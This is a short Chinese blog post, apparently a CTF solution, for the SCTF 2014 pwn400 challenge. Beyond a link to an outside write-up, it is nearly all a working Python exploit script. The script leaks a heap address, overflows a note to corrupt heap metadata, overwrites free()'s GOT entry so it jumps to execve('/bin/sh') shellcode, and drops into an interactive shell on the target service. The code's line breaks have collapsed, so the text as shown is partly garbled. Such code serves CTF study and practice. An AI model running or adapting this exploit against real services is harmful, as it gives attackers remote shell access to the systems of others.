sctf pwn400
这个题目在这个链接中分析得很透彻,不再多余地写了。http://bruce30262.logdown.com/posts/245613-sctf-2014-pwn400
exploit:
from socket import * import struct import timeshellcode = "\x90\x90\x90\x90\x90\x90"+"\xeb\x08"+"AAAA"+"\x90"*10+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x59\x50\x5a\xb0\x0b\xcd\x80" sock = socket(AF_INET, SOCK_STREAM) sock.connect(("192.168.200.7", 10001))time.sleep(1) print sock.recv(1024) #new two note: 2, 1 for i in xrange(2):sock.send('1\n')time.sleep(1)sock.recv(1024)sock.send(str(i+1) + '\n')time.sleep(1)sock.recv(1024)sock.send(str(i+1) + '\n')time.sleep(1)sock.recv(1024)sock.send(str(i+1) + '\n')time.sleep(1)sock.recv(1024) #new the third note: 3 sock.send('1\n') time.sleep(1) sock.recv(1024) sock.send('3\n') time.sleep(1) sock.recv(1024) sock.send('3\n') time.sleep(1) sock.recv(1024) time.sleep(1) #store shellcode in note 3 sock.send(shellcode+"\n")#get the note 1's address sock.send('3\n') time.sleep(1) print sock.recv(100) sock.send('1\n') time.sleep(1) note1_addr = sock.recv(2048) while note1_addr.find('location:') == -1:note1_addr += sock.recv(2048) print note1_addr note1_addr = note1_addr[note1_addr.find('location:') + 11:] note1_addr = note1_addr[:note1_addr.find('\n')] addr1 = int(note1_addr, 16) print addr1 #note 2's address addr2 = addr1 + 0x170 #note 3's address addr3 = addr2 + 0x170 #shellcode's address addr_shellcode = struct.pack("<I", addr3 + 0x6c) #free()'s Got: 0x0804a450 exploit = "A"*256+"BBBB"+struct.pack("<I",addr2)+addr_shellcode+"\x4c\xa4\x04\x08"#edit note 1 sock.send("4\n") time.sleep(1) print sock.recv(1024) sock.send("1\n") time.sleep(1) print sock.recv(1024) sock.send(exploit+"\n") time.sleep(1) print sock.recv(1024)#delete node 2 sock.send("5\n") time.sleep(1) sock.recv(1024) time.sleep(1) sock.send(hex(addr2)[2:10]+'\n') time.sleep(1) sock.recv(1024)while True:sock.send(raw_input('$ ') + '\n')time.sleep(1)temp = sock.recv(2048)print temp
转载于:https://www.cnblogs.com/wangaohui/p/4395133.html
sctf pwn400相关推荐
- SCTF 2021 | 冰天雪地 极限比拼
今年圣诞怎么过?! SCTF 2021 喊你来解锁圣诞限定赛事啦!!! 由操刀四届赛题的Syclover战队精心打造 48小时超长赛道容纳无限可能 妙趣横生的圣诞特供赛题限时出没 圣诞盲盒隐姓埋名 ...
- 2020 SCTF 部分WriteUp
signin 准备 signin.exe:https://wwa.lanzous.com/inIQdec11zi 程序分析 可以判断出,这个程序实际上是由Python打包成的可执行文件,且在运行这个程 ...
- 初心始终 殊途同归 | SCTF同期个人能力认证考核专场报名开启
继第1期个人能力考核顺利落幕后,第2期个人能力认证考核将于2021年12月25日9:00-18:00举办. 有的师傅已经吃过螃蟹了,但更多师傅们仍一头雾水.个人能力认证考核到底是什么?为什么联赛之 ...
- SCTF 2019 re部分题解(持续更新中)
一个月都很颓废 导致 比赛没有打的很好 而且 浪费了很多时光 说起来这还是 我第250篇原创博客 23333 暑假有了一些计划 搞搞密码学 编译原理 等等其它东西 然后呢 收拾好心情后 看 ...
- 从SCTF看JWT安全 (附SCTF web writeup)
原创作者:Fz41 这两天在打SCTF,有一题涉及到JWT的简单的知识,现在来把JWT相关的知识汇总一下,虽然不是主要的考察内容,但是作为一个基础知识,还是要掌握的. JWT技术介绍 来源 用户认证的 ...
- SCTF情报局|Syclover战队专访来喽!
SCTF 2023 开战在即 S星情报局火速上线 深入出题阵营大后方 获得一手绝密资料 关于Syclover战队 你想知道的都在这里 〈Q〉简单介绍一下Syclover战队吧 〈A〉三叶草安全技术小组 ...
- SCTF 2015 pwn试题分析
Re1 是一个简单的字符串加密.程序使用了多个线程,然后进行同步.等加密线程加密好了之后才会启动验证线程.这个题比较坑的是IDA F5出来的结果不对,不知道是不是混淆机制. 刚开始看的是F5后的伪代码 ...
- [NSSCTF][SCTF 2021]WEB复现
感谢NSSCTF提供复现环境 loginme middleware.go package middlewareimport ("github.com/gin-gonic/gin" ...
- Use After Free Tutorial
Halvar Flake 在"Third Generation Exploitation"中,按照攻击的难度把漏洞利用技术分为了3个层次: (1) 第一类是基础的栈溢出利用.攻击者 ...
最新文章
- 【原创】关于部门月会(二)
- CentOS 6和CentOS 7管理系统服务的区别
- Magento模块解析
- android中对Toast的简单封装
- 思科交换机Vlan配置以及VLAN应用场景
- python多线程调用携程,进程、线程和携程的通俗解释【刘新宇Python】
- sql组合索引和独立索引_SQL索引概述和策略
- 带你玩转Visual Studio(八)——带你跳出坑爹的Runtime Library坑
- java 子类调用父类内部类_java 如何在子类方法中实例化父类的内部类?
- mysql 数据字典详解_MySQL8功能详解——数据字典
- 大数据市场交易趋旺物联网平台争夺加剧
- Java复合函数循环_Java函数式编程(一)(示例代码)
- C# 设置和获取一个字节的某一位的值的方法 .
- Spring Cloud随记----远程配置文件资源库的建立-涉及一些简单的git操作
- java最简单的打印日历表_java实现打印日历
- 高等数学——微分方程
- qemu启动openEuler Embedded镜像
- linux查找文件中的字符串
- C++——动态空间分配
- 一个基于Python的体重BMI计算程序